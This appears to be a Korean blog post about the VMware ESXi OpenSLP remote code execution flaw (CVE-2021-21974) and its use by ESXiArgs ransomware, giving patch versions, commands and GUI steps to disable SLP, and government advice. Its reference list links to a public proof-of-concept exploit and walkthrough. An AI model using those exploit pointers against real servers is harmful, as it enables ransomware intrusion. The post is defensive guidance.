ESXi 모든 플랫폼 6.5 ESXi650-202102101-SG
6.7 ESXi670-202102401-SG
7.0 ESXi70U1c-17325551

 

② SLP 서비스 사용 중지

  ⒜ 명령어 사용

    i) ssh로 취약한 ESXi 호스트에 로그인
    ii) 아래 명령어로 호스트 SLP 서비스 중지
      - /etc/init.d/slpd stop
    iii) 재부팅 후에도 비활성화를 유지하려면 아래 명령어를 입력
      - chkconfig slpd off

 

  ⒝ GUI 사용

    i) vCenter에 로그인
    ii) ESXi 호스트를 선택하고 'Configure'-'Service' 탭 클릭
    iii) 목록에서 SLP 서비스를 선택
      * 목록에 SLP가 없다면 명령어로 SLP 서비스를 중지
    iv) 알림창의 서비스 중지 버튼('OK')를 클릭

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2021-21974
https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://github.com/Shadow0ps/CVE-2021-21974/blob/main/2021-21974-POC.py
https://straightblast.medium.com/my-poc-walkthrough-for-cve-2021-21974-a266bcad14b9
https://www.zerodayinitiative.com/blog/2021/3/1/cve-2020-3992-amp-cve-2021-21974-pre-auth-remote-code-execution-in-vmware-esxi
- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=3592
- https://koren.kr/kor/Alram/notiView.asp?s=4082 

요약 - VMware ESXi OpenSLP에서 발생하는 원격코드 실행 취약점이 랜섬웨어 유포에 악용
내용 - 최근 VMware ESXi 취약점을 악용해 랜섬웨어가 유포
> KISA은 VMware ESXi의 취약한 버전을 사용하는 사용자는 최신 버전으로 업데이트할 것을 긴급히 권고
> VMware ESXi의 OpenSLP에서 발생하는 원격코드 실행 취약점(CVE-2021-21974)을 악용_해당 취약점은 이미 2년 전에 VM웨어가 패치
※ 영향받는 버전
① 6.5(ESXi650-202102101-SG 이전 버전)
② 6.7(ESXi670-202102401-SG 이전 버전)
③ 7.0(ESXi70U1c-17325551 이전 버전)

※ 패치 버전
 6.5 : ESXi650-202102101-SG 이후 버전
 6.7 : ESXi670-202102401-SG 이후 버전
 7.0 : ESXi70U1c-17325551 이후 버전

- 해당 맬웨어가 이 복구 절차를 무력화하도록 진화
> 해당 랜섬웨어가 타깃으로 삼는 구성 파일의 더 많은 비율을 암호화
기타 - 미국의 사이버 보안 전담 기관인 CISA가 ESXi악스(ESXiArgs) 랜섬웨어의 복호화 도구 ESXiArgs-Recover를 배포하기 시작
> 이미 이를 활용해 복호화에 성공한 사례들이 늘어나는 중

- 복구 스크립트를 사용하기 전에 철저히 검토 필요
> 스크립트는 암호화 된 설정 파일을 삭제하는 게 아니라 새로운 설정 파일을 생성함으로써 가상기계들로 접근할 수 있게 해 주는 기능을 가지고 있기 때문

- CISA 권고
> 스크립트를 실행한 후 즉시 서버를 최신 버전으로 업데이트하고
> ESXiArgs 공격자가 가상머신을 손상시키는 데 사용한 SLP(Service Location Protocol) 서비스를 비활성화
> 시스템을 다시 초기화하기 전에 ESXi 하이퍼바이저를 공용 인터넷에서 차단

- 추가 공격을 방지하기 위한 CISA와 FBI의 권고
> 정기적인 오프라인 백업 유지
> 알려진 맬웨어 벡터(예: SMB 네트워크 프로토콜 초기 버전 등) 제한
> 높은 수준의 내부 보안 등

 

보안뉴스

 

VMware ESXi 취약점 패치 필수! 최근 랜섬웨어 유포에 악용

클라우드 컴퓨팅 및 가상화 소프트웨어 전문기업 VMware의 유닉스 계열 운영체제인 ESXi에서 취약점이 발견됐다. 최근 VMware ESXi 취약점을 악용해 랜섬웨어가 유포되고 있어 기업 담당자들의 철저

www.boannews.com

 

미국 CISA, ESXi 랜섬웨어 피해자들에게 무료 복호화 도구 제공

보안 외신 핵리드에 의하면 미국의 사이버 보안 전담 기관인 CISA가 최근 여러 국가 기관들에서 경고가 나온 ESXi악스(ESXiArgs) 랜섬웨어의 복호화 도구를 배포하기 시작했다고 한다. 이 도구의 이

www.boannews.com

 

“VM웨어 ESXi 서버 랜섬웨어, 복구 스크립트 무력화하는 버전 나왔다”

FBI와 CISA가 VM웨어 ESXi 서버를 타깃으로 한 ESXiArgs 랜섬웨어용 복구 스크립트를 내놨지만 해당 랜섬웨어가 이 복구 절차를 우

www.ciokorea.com

 

엑시악스 랜섬웨어 복구 도구 나오자마자 변종이 새롭게 등장

보안 전문 블로그 시큐리티어페어즈에 의하면 엑스악스(ESXiArgs) 랜섬웨어 운영자들이 벌써 변종을 개발해 사용하기 시작했다고 한다. 어제 미국의 CISA가 복구 스크립트를 개발해 배포하고 난 직

www.boannews.com

 

블로그

 

VMware ESXi OpenSLP 힙 오버플로를 통한 RCE (CVE-2021-21974)

1. ESXi - 가상 컴퓨터를 배치하고 서비스를 제공할 목적으로 VM웨어가 개발한 엔터프라이즈 계열 타입 1 하이퍼바이저 ※ 하이퍼바이저: 단일 물리 머신에서 여러 가상 머신을 실행하고 관리할 수

ggonmerr.tistory.com

+ Recent posts